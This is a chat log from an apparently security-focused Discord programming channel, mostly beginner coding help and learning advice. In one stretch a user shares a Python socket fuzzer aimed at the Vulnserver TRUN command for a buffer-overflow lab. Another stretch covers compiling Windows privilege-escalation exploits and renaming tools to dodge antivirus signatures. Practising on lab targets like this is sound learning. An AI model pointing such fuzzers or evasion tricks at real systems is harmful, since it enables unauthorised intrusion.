#programming
1 messages ยท Page 30 of 1
i've used beautiful soup to extract and scrape data, would recommend.
Can you get images of the page out of that though?
hmm - I don't know. I never tried
I think there's a firefox headless command that makes it easy to screenshot pages but I can't remember
At the time, I was mostly scraping multi page tables
firefox -screenshot <name> <url> ?
Probably
Chrome also has --screenshot
selenium could also be what you want
end=""?
the end is near
also that theme looks so awesoem lol
hey, I tried to install "python-tools" package on linux, can someone help me with that pls?
"python-tools was unable to find your machine's python executable.
Please try set the path in package settings and then restart atom."
"Error: spawn python ENOENT"
Do as the error says and set your path in your .bashrc or .zshrc or .profile or whatever it is you are using. If you are not sure do a ls -al in your home directory to see which file you have
Iโve already solved it thanks
Hey! Quick question: If i use the function fgetc() in C should it not return a hexidecimal between 0x00 and 0xFF? I have tried but it seems to return values up to 0xFFFFFF
fgetc returns an int so anywhere between 0x0-0xFFFFFFFF
ah okey... so can I tell it to be an unassigned char like unassigned char = fgetc(fp); and it will only get one byte of data? or will just chop off 3 bytes from the returned int?
Typcasting it will just cut off the 3 most significant bytes
It will most of the time be fine to typecast it to a char or unsigned char for fgetc
xpost sorry Mods! #resources message
not sure where to ask this, but I'm using ZAP and I want to make a script/API that automates generating a bunch of random names from an online random name generator and puts the names in a csv file. Any ideas of where to start? I know something similar can be done using Burpsuite but I'm more familiar with ZAP
this is the first time I'm doing this sort of thing and I don't really know where to begin. Doing it in Python which I'm proficient in, I just don't know how to automate something like this
Ask
i cant send the .py
i need to create and activy
like a tour
and then create a function that searches fot the activity
def buscar_actividad_por_nombre(mat_actividades, nombre):
salida = []
# FIXME colocar algoritmo de operacion
for actividad in mat_actividades:
if( actividad != [] and actividad[0] == nombre):
return salida
def crear_actividad(mat_actividades, nombre, hora_apertura, cantidad_horas, cant_personas_por_hora):
salida = False
# FIXME colocar algoritmo de operacion
actividad_3 = crear_actividad(mat_actividades, 'Museo Historia del Arte', 12, 5, 20)
return salida
sorry is in spanish
This looks like homework?
hey guys im trying to do my first fizzbuzz script
for i in range(101):
if i% 3 == 0:
print(str(i) + "fizz")
if i% 5 == 0:
print(str(i) + "buzz")
else:
print(str(i))
And you need fizzbuzz for both
just take if and else..........and if i%2==0...print fizz...else buzz
It almost does it by fizzing and buzzing, but not fizzbuzzing
yeah but that formulation should take care of it
oh wait no
missed the print
Yeah exactly
I'm tired ๐ฆ
In terms of cyber security I understand I donโt need to know programming but what should I learn. I thought python would suffice but I see a lot of skilled pentesters not only reading and understanding but writing original scripts and exploits in multiple languages such as JavaScript, python and even able to completely read php and other languages so. In terms of programming, what languages would benefit me the most starting out? Iโm looking to learn a few as a short term goal. As I am right now even python is hard to read, let alone understand.
learn the concepts of programming and you can pick up most languages pretty easily
like I don't "know" Go, but I can code in it because it's similar to other languages I've used ๐
So like learning one language, I can then translate those concepts into other languages?
pretty much, for example if you need to generate a txt file with numbers from 0000 to 9999 you know you can do 4 loops one inside eachother for example. in c it will be for(...), in python its for i in range
would it be okay for me to learn C++ first instead of C? usually when im learning a language from the ground up, for the beginning I like to go to codecademy but they only have C++ course. I already know python and assembly, so C/C++ is like a middle child between those two if my impression is correct
or is it always recommended to start with C?
From my understanding c++ is one of the hardest languages to learn but you already know 2 so
That didnโt help your question I feel like lol
c++ isn't that difficult, just takes practice
Aye -- go for it
C++ is just C with OOP added in
right, thanks
Gave +1 Rep to @tulip sail
How many languages do you know muir?
Python, C# and C++ are my go-to languages.
I am very comfortable in PowerShell, Bash, JS, and PHP. Less comfortable but still happy using C and Nim.
I can use Go, Rust, Ruby, Haskell and Ocaml if I need to.
There are a bunch more that I've used once or twice and can identify syntax/structure, but am not really proficient in, plus no doubt a few I've forgotten from the lists above
It's not really about the languages you know. Once you're familiar with programmatical thought processes, it's very easy to pick up any language you need.
Idk why I expected anything less especially from someone with the two certs you have
Also trilium is a lot to take in so i will be sticking with sublime for now, until I am more comfortable
if u dont mind me asking, wen did u learn all of those?
like in college or did u start in high school?
I had a bit of Python before leaving secondary school, and got taught C++ in uni. Everything else I've just picked up as and when I needed it ๐คทโโ๏ธ
C# and PowerShell are used a lot in Windows exploitation stuff, so I've had to learn them well. PHP and JS I learnt doing room dev. Bash just from immersing myself in Linux.
wow, so u were actually only taught c++, everything u learnt on ur own, while doing ur job
damn
im honestly amazed, impressed
Once you know how to think programmatically, language is just syntax ๐คทโโ๏ธ
It's the logic that matters
how long did it take u learn for ex any major lang
ik my q r prolly annoying for u but im sry im just mind blown rn
Like:
Bash:
for i in $(cat file.txt); do
echo $i
done
Python:
with open("file.txt") as handle:
for i in handle.readLines():
print(i)
Open a file, print each line. Bash and Python, so two different languages, but so similar
since ive learnt python before the python thing makes sense to me but bash just melts my brain lmao
makes sense
?
cause even memorising the dif syntax for commands has to have taken time right
C++ I've been learning for a couple of years. Python I already had a grounding in before coming to uni two years ago (so, probably four or five years), but I only really started to learn it properly a year and a half or so ago.
C#, a few months
PowerShell a bit longer -- a year, maybe?
That's not the time taken to learn though -- that's how long I've been using them
They should only take a few hours to get comfortable with basic syntax, if that
no like, for python u r using completely dif commands as compared to bash, but it only took u a few hrs to get used to the dif snytax and commands?
When you're learning a new language it's just a lot of Googling. Once you've done something once, you just do it again
ic
The time taken to learn variables, garbage collection, loops, and some of the quirkier fundamentals of each language, isn't long
Then there's the more esoteric stuff though
For example:
C++:
bool val = a > b ? true : false;
Python:
val = True if a > b else False
Ternary statements in two languages. Neither of those are strictly necessary for using either language -- they're just a way to condense code.
You wouldn't necessarily want to learn them in the first few hours
Tbf, those could also be shortened even more though -- that's just an example
Ternaries are really just showing off
Precisely ๐
If used incorrectly, they make the code super unreadable
can u also write the python part as:
print val if a > b
and then take if val is printed or not for the further code?
And yes, also true. They're not something you'd want to learn in the first few hours because they have a limited use case
yea tht just doesnt make sense to my brain
for learning a new lang, whts ur pref or recommendation?
Not easily -- you'd have to monitor stdout. Probably doable, but why you'd do that, I don't know ๐คทโโ๏ธ
No, you cannot
yt or a particular site?
You'd need the else in there for Python
yea
Then that's just a ternary
Exactly ๐
i didnt write the full thing cause i thought ud understand anyway
lol
Learn a language when you have a project that's suited to it. Then just Google what you need to know ๐คทโโ๏ธ
There's no point in learning the language before you need it
wht i meant was would it work like tht as well
ic
so basically i should learn nothin rn?
Learn to think programmatically right now. That's the important bit
Most people do that by learning a language though, yes
im a freshman in highschool rn and i dont really need anything but i just enjoy learning stuff like programming, penetration etc
lol
ty for ur time
Np ๐
W3schools is always a good go to for me
Learncpp com is a good site for cpp, it was just a lot of reading and not much interaction so it felt like hell for me to learn it that way
Both are free sites with minimal to no ads. JavaScript org isnโt free but the tutorial really got me interested in JS. The way they teach it was really fun way for me to learn. I wish other sites used the same way to teach. Itโs why I love THM so much, they use a similar style of teaching
you mean "if used".
Short conditions with ternaries can be nice
yeah I know
they're still a pain to read in general
nice in C for directly assigning the value though
Also basic data structures, and the differences between objects and dictionaries
looking at you, Javascript
a dictionary is a type of object though
So's a string, sometimes
It's always a string whenever it makes the least amount of sense for it to be a string
why is it throwing this? am I referencing the get-service object in the wrong way?
nvm figured it out
have to use built-in method
for $RetrievedService object
Anyone know a good place to learn bash scripting? I found a few sites but they are all paid.
Best way to learn bash is to do sysadmin stuff. Start automating tasks you find you do more than once in linux
https://wiki.bash-hackers.org/start i think i liked this when i first started making longer scripts
Hmm Iโll look into that thank you. For me so far itโs only update, upgrade, and vpn to THM I do every time I boot up. One minor reason I prefer sublime over trilium text editor is I only type subl vs having to cd into trilium directory and then ./trilium. Is there a script I can write to change this?
Gave +1 Rep to @magic falcon
Is that to run a Trilium notes server instance? For sure, look into how to set working directory and environment variables inside a script.
So one of the things that would probably be useful for you: figure out how to daemonize the trilium server - and what the config should be to present it as a local only server, as a server accessible by your network, and maybe what you would need to containerize it. That last one is probably going to require a lot of learning, depending on how much containers you already know
Another thing you may find useful: .desktop entry files
Iโll look into it thank you again ๐
Gave +1 Rep to @magic falcon
lmfao
Any helps to get into codewars. I visited some websites like hackerearth and i got alot confused. So any tips how to start, what to keep in mind when starting?
Start with the easy ones like TwoSum and work ya way up:)
maybe a stupid question but. what would be recommended programming language to learn that might be of use when doing CTFs and general security stuff. I know Java and Python. What should I learn next? C? Javascript? PHP? C#?
I guess the answer would be "depends on what you wanna do?", but im thinking maybe there is something to be said about what language generally is useful, like python, since many tools / scripts are written in that?
ruby would maybe be helpful if you plan to use metasploit a decent amount
php for some types of hacking webservers is nice too
C will give you a deeper understanding of how computers work and can lead you closer to machine code
@frank wyvern โฌ๏ธ
I understand what RPC is on a surface level but its not quite setting in, perhaps someone kind and knowledgable would explain RPC / MSRPC to me more from a programming angle so I would get an idea of the a practical example in code
is it like an API call?
nvm I kinda figured it out
Hi guys I'm new to programming and need some advice.
So I've been learning python for a quite some time and watching YouTube videos (like the courses on FreeCodeCamp) and other videos that teach how to code small projects like (blackjack andย hangman ) and I understand how and why the code works but when it comes to programming even a smaller project without looking up the whole code for it I can't do it.
Its like I don't even know anything about python.
So do you guys have any advise or suggestions for me ?
Thanks
Do smaller projects
Pick a process that you already are familiar with, or that you use regularly. Dungeons and Dragons players who learn programming, for example, often make a character generator project.
Other common projects are to implement a board game or card game that you know well
Like 5 card draw, blackjack, mancala
Like I have to know how something works in detail
So I I dont know how to play black jack
I cant programme it
?
If i
Programming is a technical description of how a process works. If you don't understand a process in real-world terms, how could you define it in terms of a program?
True
So what is the first thing I can do when I want to programme something
Like writing the steps on a piece of paper
Or something
Whatever helps you keep track of what you want to do
As a beginner, a flowchart or written steps is enough
Avoid trying to solve for both process and implementation at the same time until you have a much better set of programming idioms
rock papper scissors is one of the good small projects shadow did
or just making small functions that calculate mathimatics
like conversions of seconds into hours and minutes and remaining seconds is a good first task too
does anyone here have experience with the perl IO::Pty module
use IO::Pty;
$pty = new IO::Pty;
$slave = $pty->slave;
foreach $val (1..10) {
print $pty "$val\n";
$_ = <$slave>;
print "$_";
}
close($slave);```
just curious how that works
Pseudo TTY object class
yeah, that's what it's from
I have zilch perl experience, and was wondering if someone could enlighten me
do you know what a tty is?
the terminal that stdin is directed to?
so that's a good start.
Your next step is to go look at basic PERL syntax to understand the print command
ah, sorry, I'm not asking quite the right question
use IO::Pty;
$pty = new IO::Pty;
$slave = $pty->slave;
tty = <$slave>;
exec "$tty";
close($slave);```
I think the bit which is confusing me is the = <$slave>; part
could something like that execute with tty
I'm just curious as to how IO:Pty assigns the "$slave" to a string, or object
Hi,
Does anyone know how to add a timer to a CBT examination in HTML?
do uk python 1st?
dont learn projects directly
1st learn the commands, syntax etc
if u want i can tell a few sites to learn tht from
learn projects from yt after u learned commands, syntax etc and can do basic stuff 1st
Assembly Language, C probably go or c++
Anyone know good places to learn programming languages? Python, Java, Assembly, C, etc
Wanting to learn Python and Java first
shadow tended to use project euler to learn more about the languages when they got the basics down.... but dunno where to get the basics for python
maybe codecademy.com might be good enough for basics
I know some basics about both, just wondering if there's a site or whatever which I can use to get some what fluent
Alright thanks dude
Learn 1 language first. Once you have a reasonable amount of knowledge (can develop a basic CLI application), then it makes sense to start branching out.
What is the borderline between learning how to code/program for penetration testing vs. software development? Is the software development much broader with languages compared to penetration testing?
yeah software engineers and developers have to have a much wider understanding and create all types of software
while for penetration testing you can get a long distance with more simple scripts and loops
while in software development you get to make algorithms and also try and implement security features to avoid the pentesters from getting access eventually
Hmmmm I see. Thanks so much, @inland hazel . Appreciate your response. ๐
Gave +1 Rep to @inland hazel
no problem... it is a valid and good question
some companies though don't want you to spend time implementing security features which can be a warning signal
That's not necessarily true. Security features are a function of business requirements of the software. The stakeholders set the requirements, not the implementation team.
true juun shadow did not specify who in the company set said rules though but it can be stake holders who are not directly part of the company too
I wouldn't say they are separate. Programming doesn't magically change into a different activity because the use-case is different. The mindset is the same, but the application of knowledge just has a different end.
IMO the best thing you can do for either is to learn the logical thinking and problem decomposition
Thank you guys for your inputs. I asked this question in quora, but no one answered. So I tried here. Thanks much. Appreciate it.
i wish this was true for smaller organizations ๐
exercism
HackerRank too. Haven't tried it though.
Thank you
There's also freecodecamp. Attempt only the projects if you feel confident in the basics.
The best way to learn a programming language AND have something to show for it is by making a project and posting it on your github.
Hope that helps.
thanks for the tips and alternatives to choose from... will look into these more later
No prob. CS50's problem sets are also good projects spanning C, python and web dev.
Hi, Everyone
What do you mean?
I like codingame
Statistics are often calculated with varying amounts of input data. Write a program that takes any number of non-negative integers as input, and outputs the max and average. A negative integer ends the input and is not included in the statistics.
Ex: When the input is:
15 20 0 5 -1
the output is:
20 10
#include <stdio.h>
#include <math.h>
int main(void) {
int input;
int temp;
int runs = 0;
while (input >= 0) {
scanf("%d", input);
temp += input;
}
return 0;
}
hi
what do i have to do? this isn't working
i have pip installed i guess
but this doesn't work
and i've already done pip install pandas in cmd
any help is appreciated
Prettu sure its panda and not pandas
Check the paxkage names
@lilac holly ^^
No idea other than that
You have really said what isnโt working:)
no hablo ingles
Youโre in an English speaking discord ๐คทโโ๏ธ
Me no speak English very good, me try best will have done
Itโs interesting that your message history tells a different story
Alright, well, if you want to pretend you don't know how to speak English, I would like to apologise for taking the time and effort to attempt to help you ๐
-mute @lilac holly 2d Had enough of the trolling. Think long and hard about why you're here and the environment you're in please.
๐ Muted basedcpp#6611 for 2 days
Lmao
Anyone looking to become a mentor in python or csharp? ๐
q
Anyone have experience writing OpenMP in C and want to help me find a race condition ๐ฅฒ
Good luck
I wasnt able to google this. The red portion, are they called "comments" or is there something more specific to call them in assembly. and also, are these "comments" auto generated by the compiler based on what line of the source code the compiler is translating into machine code or how do those comments even get there
or is that just radare 2 trying to match / guess what the source code is based on the machine code
it's giving some hints as to what the assembly could look like, yeah
Best bet is to diagram out what you think should be happening, and design your concurrency from that set of diagrams. Debugging OMP at runtime is going to make you crazy.
When I run into concurrency problems with threading, I usually throw it out and start from scratch.
Another assembly question
Is MOV instruction ctrl+c or ctrl+x?
What I mean by that is if you are doing
MOV rax, rbx (dest, src)
after copying the value from rbx register into rax register, does rbx wipe itself? is there any reason to wipe itself until some value is put into rbx again (like performance improvement reasons or w/e)
I know if its on the stack it will be popped off eventually, and heap you have to manually free up the memory or it will stay there "forever" but what about registers
Write some ASM to test. It will take as long to type out as it will be for you to just write a test.
I have a question, I learn by doing and I know WHERE I can learn programming. But I am unable to think of any projects to do on my own to reinforce my learning. Is there somewhere I can go to get programming related project ideas?
Euler project.
https://projecteuler.net/ right?
A website dedicated to the fascinating world of mathematics and programming
Yep
sick! I'll look into it, it's been a hurdle to find things to code (or try to!) Thanks!
Gave +1 Rep to @magic falcon
will do
make a todo list or some type of crud app
I would if I could come up with ideas, but I really struggle with that. there is just so much you can possibly do I don't know where to start
The majority of the web is some form of a todo list. If you want something security specific a port scanner is what I used to learn go-lang
python is where I am starting, so maybe recreating some tools or something similar
ya thats a good approch
how about when solving thm boxes automating the steps that you do for all of them run nmap, gobuster etc
So break a box and attempt to automate most if not all the steps? Sounds like a plan, and would be pretty dope results when it works
Hey thanks for the advice. I actually managed to spot the race condition eventually, didn't have to scrap and start over thankfully ๐ The diagram is a good idea, probably would have saved me a bit of time, I'll know for again
Gave +1 Rep to @magic falcon
i hate what template engines do to the html ๐ why can't it still be pretty and formatted nicely
template engines?
ya
so I am solving an easy code forces coding problem.my code has passed all tests on except for one and I have no idea what is went wrong
code
n,k = map(int,input().split())
inp = list(input().split())
inp = [int(i) for i in inp]
counter = 0
for i in range(n):
if inp[0] <= k:
#delete stuff and increament counter
inp.remove(inp[0])
counter+=1
elif inp[-1] <=k:
#delete stuff and increament counter
inp.remove(inp[-1])
counter+=1
else:
break
print(counter)
sample test that runs
8 4
4 2 3 1 5 1 6 4
The test that fails:
100 69
80 31 12 89 16 35 8 28 39 12 32 51 42 67 64 53 17 88 63 97 29 41 57 28 51 33 82 75 93 79 57 86 32 100 83 82 99 33 1 27 86 22 65 15 60 100 42 37 38 85 26 43 90 62 91 13 1 92 16 20 100 19 28 30 23 6 5 69 24 22 9 1 10 14 28 14 25 9 32 8 67 4 39 7 10 57 15 7 8 35 62 6 53 59 62 13 24 7 53 2
output : 56
answer : 39
checker : wrong answer expected '39', found '56'
@magic falcon I am interested in what have you completed on eular
Your redefinition of inp might be causing shenanigans
ama change it and see what happens
Also I think you're making your life harder than it needs to be
There's a bunch of unnecessary checks
elaborate plz
You'll never be able to read from the left again once that check fails once
So once you start reading from the end, you can skip the beginning check
I'd use a pair of while loops with an index tracker
Modifying a list can be expensive as well
that would do it, but I wanna know what is wrong with this code
I just made all elements integers
I did that
the problem is it fails on one test out of 6
and I can't find a pattern
Give me half an hour I'm not super available right now
sure take ur time
I'm thinking that modifying your list isn't exactly working as expected
Check that its not removing the first instance of the integer on your second if rather than the last
Eg: suppose the list [1,2,3,2]. Will remove(2) yield [1,3,2] or [1,2,3]?
@unreal tendon
intresting behaviour that I haven't thought about
ill check
since you're dealing with literals and not references it's not that unusual
ill try to explicitly remove elements by refrence and see what happens
mean while
Last I checked in with it, I had something like the first 100 problems done. Then life interfered, and I haven't really done anything on project euler for a few years
Think about your order of operations a bit more - and how List.remove actually works in python. Is there any guarantee that multiple problems cannot share the same difficulty rating?
nope there was no gurantee and that was actually the mistake
thanks @brazen eagle @magic falcon
Gave +1 Rep to @brazen eagle
Honestly, there is no need to remove items from the list either.
Keep track of your indexing, and it's pretty trivial to just find the locations that don't meet the minimum satisfaction requirements. Then it's just a matter of doing some math.
because you're trying to pop an empty list
or rather access an element in an empty list
shouldn't it output somekind of runtime error rather than zero ?
depends on the language?
oh wait it actually outputted a run time error
And the environment.
language is pypy
Depending on how the runtime is configured, the same language may have slightly different (although both conformant) implementations.
And it likely won't 'output' the runtime error, because stdio and stderr are different channels.
or pypy doesn't exactly follow the standard, or the standard is not defined
lemme just remove the pops and try again
@brazen eagle is this actually solvable in this configuration with two while loops or does it need 4 ?
I think you can do it in 2
like I need plusindex to be less than n so I don't exceed the array size but also I need to check inp[plusindex] so that I can increment, if I run it like this the first while will whine about the inp[] exceeding array limit so thats why I figured out I need to split it into 2 loops
idk I am sleep deprived and running of coffe since 2 hours past my bed time
ill propably see this tmmrw and laugh of my stupidity
if plusindex >= array size, you can skip the rest
also minusindex is always < n
might want to start it at n and decrement to 0
then do some math somewhere to get the count
Dare I ask why you're exiting Vim each time? ๐
That's the one ๐
@unreal tendon Absolute worst case runtime for that algorithm should be O(n).
Hasn't figured out ! yet
how did you know I am exiting vim lmao
fr I was using ! in a combination with exiting it, I wonder if there is a timed vim history so I can prove that ๐
seems intuitionaly true, but how did you arrive at that conclusion
Hey guys, im looking for some help in html, css and php. I seem to be stuck at a problem. Im trying to get the links to stay active when i click on them. I did that with all of the languages.
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Spuลพi Natakar</title> </head> <body> <header> <h1 id='naslov'">Spuลพi Natakar</h1> <div id='header-links'> <a <?php if($_GET['page']="index.php") { ?> class="active" <?php } ?> href="index.php"><b>O Nas</b></a> <a <?php if($_GET['page']=="ponudba.php") { ?> class="active" <?php } ?> href="ponudba.php"><b>Ponudba</b></a> <a <?php if($_GET['page']=="Posebna-ponudba") { ?> class="active" <?php } ?> href="posebna-ponudba.php"><b>Posebna ponudba</b></a> <a <?php if($_GET['page']=="Naroci-zdaj") { ?> class="active" <?php } ?> href="naroci-zdaj.php"><b>Naroฤi zdaj</b></a> </div> </header> <?php print_r($_GET) ?> </body> </html>
But the problem is it shows every link as active, can someone please tell me why? Been stuck on this for a while
You only need to traverse the list once
I meant in vim
Have you checked with the browser debugger tools?
I can see your terminal input...
Isee
What free tool u guys prefer me for preventing decompilation of the source code in java?
better than pro guard
something at least works against jadx
If you're going to run the program, the bytecode needs to be available at run time.
And when the bytecode is available, it can de decompiled to source code.
If you don't want your program to be decompiled, don't release it to the public
There's not a lot you can do to stop it once it's client side. Any measures you take will be circumvented sooner or later
Yep - they mainly keep honest people honest.
Is there a way to put a multi line string into a python variable if the string contains """ and '''? The problem is it that it closes the string before it should
'""" aa'```
Would i have to escape all the """?
Ultimately, if you're using the same symbol that you used to open a string within the string, you will need to escape it.
i.e. if your multi-line string contains """ and ''', you will have to escape them
Okay ty
if anyone has experience using flask, and having two forms on one page, i could do with some help ๐ฅบ
i have the two forms working independently, however, since (i assume) both forms have a username field, when i submit one form, the other pre-fills the username field
for example, when i typed in jake in the Add Admin - Username field and clicked Add Admin, this happens
has anyone come across this before? or is code needed
Give 'em different names and see what happens
Think that's a HTML thing rather than a Flask thing iirc
okok i will try
My suspicion is that you are reusing variables names on the template.
Sounds like it's a client side thing to me?
Unless the template is dynamically prefilling form values
described behavior is after clicking 'add' though - so it's got to be something with the POST request being processed, and then being reloaded using new saved data
i changed the admin field to be username_2 and now it only prefills that one
Browsers like autofilling fields on the page when you refresh. Two fields with the same name means they both get autofield. I remember running into that when I first got into webdev
A post request to the same endpoint is rendered the same way. I believe posting elsewhere then redirecting back would also solve it
i have them posting to different endpoints
That's the neater way to do it anyway
i'll just have username_a and username_b i think, ty ty for figuring it out
Are they rendering the page as a response to the post request?
ohh yeah
Yeah, so, redirecting back to the original endpoint rather than rendering as a post response would also fix it
ahh okay
That's the neater solution
that is something that needs to be fixed too, something was messing up when i tried doing that before
i'll use this workaround for now and if it gets picked up by someone else they can make it pretty
Not sure about best practice, but rendering a HTML response to a POST request just feels icky to me
yeah it feels trash loool
I try to either return JSON or a 302 redirect back to another endpoint, depending on the Accept request header
Use a 302
Vim
Haha
That's what I do if it expects a HTML response
I agree
If it's a headless client or otherwise expects JSON (I.e. from an API) I give it JSON with another response code
200, 404, 401, 403, 409
Usually
418
Do not return 200 on error
I will find you
I've seen HTTP 451 show up more and more actually
451?
Unavailable for legal reasons - usually from people who don't want to be GDPR compliant
You will get nerfed.
Ducking mobile
Huh. Didn't know that one
Yeah thats a lรฉgal reasons
Bloody keyboard was in french, shoot me now
Sigh I just wrote a function called createNewWorld
Im using the python fuzz script from the Buffer Overflow room and i am trying to adapt it to the TRUN command for Vulnserver but im not sure what to change in my code.
import socket, time, sys
ip = "10.0.0.1"
port = 9999
timeout = 5
# Create an array of increasing length buffer strings.
buffer = []
counter = 100
while len(buffer) < 30:
buffer.append("A" * counter)
counter += 100
for string in buffer:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
connect = s.connect((ip, port))
s.recv(1024)
s.send("USER username\r\n")
s.recv(1024)
print("Fuzzing PASS with %s bytes" % len(string))
s.send("PASS " + string + "\r\n")
s.recv(1024)
s.send("QUIT\r\n")
s.recv(1024)
s.close()
except:
print("Could not connect to " + ip + ":" + str(port))
sys.exit(0)
time.sleep(1)
Take a look at what it sends now, work out how it sends that, what code sends that
Not like that
but something at least works against jadx
Well ive worked out it has to do with the s.send.
One is for username and one is for the password so im assuming i just need one of them to send the TRUN command.
Ok this seemed to work i think i was having issues with the TRUN command needing the /.:/
#!/usr/bin/env python3
import socket, time, sys
ip = "10.0.2.4"
port = 9999
timeout = 5
prefix = "TRUN /.:/"
string = prefix + "A" * 100
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
s.send(bytes(string, "latin-1"))
s.recv(1024)
except:
print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
sys.exit(0)
string += 100 * "A"
time.sleep(1)
got a db schema question
i have a User model with id, username, password, access, created_at where access can be candidate or assessor
users with access candidate are able to start their exam so i was thinking about adding a exam_start field to the User model (with a timestamp value)
but then that would mean users with access assessor also have an exam_start field which is redundant
what's the best practise here?
a new Exams model? with id, user_id, exam_start?
I would probably break out supplemental info into another table
BNF3 should be the goal, to have minimal columns in each table
oh god i remember this topic in school
I would probably have a table to track each exam, with fields id_candidate , id_assessor, exam_start
probably fields for an exam ID and result as well
yeah i haven't even factored in the whole "assessor gets control over x students" bit yet but i will need to in the future
this probably
@cursive orchid You are going to find that re-architecting the schema on the fly is going to be super horrible. Waterfall the hell out of your planning before you start writing code - do use-cases first so you can design the data model before implementation.
Is there any way to make a python virtual environment stick globally? like if I would go into a virtualenv, close the terminal then open it again, it would still be there etc.
not having to source /bin/activate everytime
for every terminal window..
Stick it in your bashrc
Sounds like a minor insult ๐
yeah i guess i'll do that, i think i have what i need for a basic version of the app now
not sure if this works; an assessor has many candidates, and a candidate has many challenges
(the challenges in the user model is a backref)
i can add in extra fields to a model in the future, but as long as all the relationships are there then i think it's good
Draw an ER diagram, a class diagram like that won't show the relationships you'll need to build
ah okay i'll get around to that soon
Diagraming things out is usually helpful
nice ty
Gave +1 Rep to @tulip sail
Nothing can ever be simple in life it seems 
haha
I ll try fixing the shout thing
weird thing this is the vanilla kali bashrc file
is anyone elses broken?
Are you on zsh @plain path
gnome-terminal
isnt that a wrapper around zsh
It is
Yea
oh, there it is. thank you @true pumice
Gave +1 Rep to @true pumice
I remember googling "bash vs zsh" and google telling me they are pretty much the same except zsh is more extensible...
So now that im digging into it again, anyone has any recommended zsh plugins/extensions? imma try em out
I'm using syntax highlighting / autocompletions and auto suggestions from the zsh users github repository
Those are the most common I guess
hey guys had a qs in html
if there is one text after 4 sec it will slide to another line..so if the first line shows hi test 123 then it will just get off and the other will come test 1234 but not slide
like in the throwback page
you have this right? but without the arrows and it getting off itself after a interval
It's called a carousel
oh didnt know that thanks
I'm not sure if this goes into this channel or infosec-general, but its mostly about debugging and compiling so I think this is the right one
I am trying to become self-sufficient when it comes to compiling exploits for windows, or enumeration tools such as Watson
However a lot of the time I ran into compilation errors, and googling them / debugging it seems nigh impossible
Is there some sort of guide that I didnt manage to find about compiling exploits in Visual Studio?
I know how to cross-compile with mingw, that stuff is easy, but say I need to compile
https://github.com/ohpe/juicy-potato written in C++
The compiler just kinda shits itself, throws a dozen errors and I don't even know where to start. I mean if other people are able to clone the repo and compile it for themselves, I should be able to as well, not really sure where i'm going astray. Clearly the source code is fine if it hasnt been updated in ages and people are still using it today.
I can read C/C++ and understand it on a surface level, but im not an expert
There's an sln file, are you using visual studio?
Yes there is, and yes I am
im gonna take some general visual studio guide and then hopefully translate that to exploit compilation, any advice is genuinely appreciated
I think I will have more issues compiling the older exploits though
juicy potato is still relatively recently coded
im doing the HTB oscp-prep trophy list and lots of the windows machines are old windows versions vulnerable to all sorts of kernel exploits or impersonate exploits that are exploined through .exe binaries so yea
Yeah it's worth getting the env working because the releases will probably be flagged by AV with simple signatures
yeah I ll come back to this in the evening, gotta catch some zzz's
There's a tweet from Gentilkiwi or something that's effectively "s/mimikatz/ninikatz" and recompile and it is detected much less
Yeah I bet
Is there a big difference in learning C versus C++? All I know is that C++ supports OOP. My goal in diving a bit deeper into C/C++ is just being able to understand what happens at the lower-level a bit better, so I don't know if I should be looking at one over the other, or if it even matters at all.
Modern C++ is a superset of 4 distinct programming languages
C, C++ STL, C++ Variadic Metaprogramming (or, programmer defined templates), and the basic C++ language.
And, you can do OOP in C but it involves header trickery.
Understanding low level stuff really isn't the purview of C/C++ - if you want low level understanding, ASM and disassembly are where you should be focusing.
With C or C++ you can get familiar with memory allocation. Having a grasp on that, assembly is a good next step @stoic badger
Pointers, bit manipulation, registers
I guess I misspoke then, I was looking to learn the memory allocation and pointer stuff first before diving into ASM
But thanks!
Any resources that you guys would recommend? I have a few that Iโve found but havenโt really gone through, just wanted to hear from others
Effective C++ is a good read, as is the C++ Primer
I got good value out of Walls & Mirrors, but I know other programmers who did not like it.
Cool cool
The cs50 lectures are nice for a start
Can anyone help me ?
I'm wanting to make a little python script to check and compare the contents of two folders and all the files inside. Cycle through folder structure based on Folder A Compare every file from Folder A with Folder B If the file doesn't exist or the contents is NOT 100% identical then to COPY the file to Folder C but in the same folder structure as Folder A Could anyone advise on how to do such a feat?
using python
Hashing would be a good bet
Bro can you please help with the code?
Please don't call me bro, and no.
Its focus is on computer science so it will not stay specific to C. https://www.youtube.com/watch?v=YoXxevp1WRQ&list=PLhQjrBD2T382_R182iC2gNZI9HzWFMC_8 @stoic badger
TABLE OF CONTENTS
00:00:00 - Introduction
00:00:49 - Representation
00:07:43 - Binary
00:21:33 - ASCII
00:31:14 - Unicode
00:33:29 - RGB
00:41:54 - Algorithms
00:43:21 - Finding David
00:49:15 - Solving Problems Efficiently
00:54:29 - Pseudocode
01:00:23 - Scratch
01:03:05 - Hello, World
01:04:12 - Variables
01:10:10 - Text to Speech
01:11:17 -...
Debugging, memory, and breaking down components are nice tho. Idk how familiar you are with it all
I mean, I took an Operating Systems class last semester, so I get a decent amount of the concepts at a high level, but putting them into practice has gone over my head.
I could tell you what the issue in the producer-consumer problem is, I could not write the code to describe the problem or even write out the solution.
Alright then, I do think it is a good start
an assessor is creating a candidate:
if form.validate_on_submit():
hashed_password = bcrypt.generate_password_hash(form.password.data).decode("utf-8")
user = User(
username=form.username.data.lower(),
password=hashed_password,
access="candidate"
)
# assessor_candidate = AssessorCandidate(
# assessor_id=current_user.id
# candidate_id=REPLACE_ME
# )
log = Log(message="fill me in")
db.session.add_all([user, log])
db.session.commit()
but i also need to add this to another table AssessorCandidate which keeps track of what candidates an assessor has, this table has assessor_id and candidate_id.
in the above code, i need the ID of the newly created user, but i can't access its auto incremented ID until it has been committed to the database
i hope that makes sense
my question is, do i db.session.commit() the user and then create the assessor_candidate object and then commit that?
seems weird to have to commit twice in one function
Can anyone explaing to me how this code works? const plaintext = ciphertext.map((x, i) => ((i * i) % 256) ^ x ^ 0x99)
given that cipher text is an array of numbers like ciphertext = [234, 240, 234]
What language is that?
I think thats.. python??
it most definitely is not, python does not have const keyword.
Its javascript
It runs the function (x, i) => ((i * i) % 256) ^ x ^ 0x99 on each element in the array, which is some bit operations i dont have the energy to understand ๐
^ = XOR i know that atleast ๐
It's JS
